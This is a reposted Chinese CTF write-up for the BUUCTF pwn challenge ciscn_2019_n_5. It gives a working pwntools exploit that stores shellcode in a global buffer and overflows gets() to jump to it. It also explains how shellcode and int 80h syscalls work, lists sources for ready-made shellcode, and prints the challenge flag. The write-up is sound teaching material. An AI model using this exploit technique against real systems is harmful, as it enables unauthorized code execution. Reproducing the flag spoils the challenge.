ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BUU-ciscn_2019_n_5

2021-04-27 21:57:45  阅读:425  来源: 互联网

标签:ciscn int shellcraft BUU 指令 2019 内核 shellcode asm


查看保护

什么都没保护.jpg

在这里插入图片描述

IDA

逻辑很简单,两次输入。这两次输入看起来都可以利用:

read限制了读取长度,而且name是全局变量,地址可访问。

gets里的text可以进行栈溢出,0x20

在这里插入图片描述

解题思路

EXP

from pwn import *
p=remote('node3.buuoj.cn',29048)
context.arch = 'amd64'  # 架构名称,不加狂报错……
context.log_level = 'debug' # debug模式
shellcode = asm(shellcraft.amd64.sh()) 
#asm将接受到的字符串转变为汇编码的机器代码,
#而shellcraft可以生成asm下的shellcode 
p.recvuntil("tell me your name")
p.sendline(shellcode)
p.recvuntil("What do you want to say to me?")
payload = b'A'* 0x20 + b'A'* 8 + p64(0x601080)
p.sendline(payload)
p.interactive()

## shellcode原理(初步认识)
什么是shellcode:

每条汇编指令都对应着长短不一的一串16进制数
这些16进制数串叫做opcode,是和汇编指令存在对应关系的机器码。
或者说可以认为汇编指令是opcode的“别名”。

易于人类阅读的汇编语言指令,如xor ecx, ecx等,
实际上就是被汇编器根据opcode与汇编指令的替换规则替换成16进制数串,
再与其他数据经过组合处理,
最后变成01字符串被CPU识别并执行的。

所以我们可以直接构造合法的16进制串组成的opcode串,即shellcode,
使系统得以识别并执行(让CPU执行的shellcode机器码),
完成我们想要的功能。

shellcode为什么能实现"system("/bin/sh")的效果?

根据别人的实验,一个简单的shellcode运行过程大致如下(不严谨):

EAX, EBX, ECX, EDX四个寄存器被先后清零,
EAX被赋值为0Xb,
ECX入栈,
“/bin//sh”字符串入栈,
并将其首地址赋给了EBX,
最后执行完int 80h

这其中实现了“system("/bin/sh")”的效果的地方就是 int 80:

查阅intel开发者手册可以知道int指令的功能是调用系统中断,
所以int 80h就是调用128号中断。
在32位的linux系统中,
⭐该中断被用于呼叫系统调用程序system_call().

出于对硬件和操作系统内核的保护,应用程序的代码一般在保护模式下运行。在这个模式下我们使用的程序和写的代码是没办法访问内核空间的。
但是我们显然可以通过调用read(), write()之类的函数从键盘读取输入,把输出保存在硬盘里的文件中。
那么read(), write()之类的函数是怎么突破保护模式的管制,成功访问到本该由内核管理的这些硬件呢?
答案就在于int 80h这个中断调用。不同的内核态操作通过给寄存器设置不同的值,再调用同样的 指令int 80h,就可以通知内核完成不同的功能。
而read(), write(), system()之类的需要内核“帮忙”的函数,就是围绕这条指令加上一些额外参数处理,异常处理等代码封装而成的。32位linux系统的内核一共提供了0~337号共计338种系统调用用以实现不同的功能。

获取shellcode

1.直接获取

网络上有许多已经编写好的shellcode资源公开分享

诸如:

exploit database;

Shellcodes database for study cases(该平台目前已停止更新)

2.通过软件获取shellcode

eg:cobaltstrike(win)

msf(功能强大,以后研究)

pwntools(用其核心模块shellcraft生成shellcode)

# pwntools库获取shellcode标准写法:
from pwn import *

#设置目标机器信息

context(arch = 'amd64', os = 'linux',log_level = 'debug')
#asm将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode

shellcode=asm(shellcraft.amd64.linux.sh)

print(shellcode)

手动获取:

1.机器码写shellcode

2.汇编语言写shellcode

flag

flag{f24d7b9f-6efe-4a04-b3c2-ae33b799ea26}

标签:ciscn,int,shellcraft,BUU,指令,2019,内核,shellcode,asm
来源: https://blog.csdn.net/qq_45771413/article/details/116211060

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有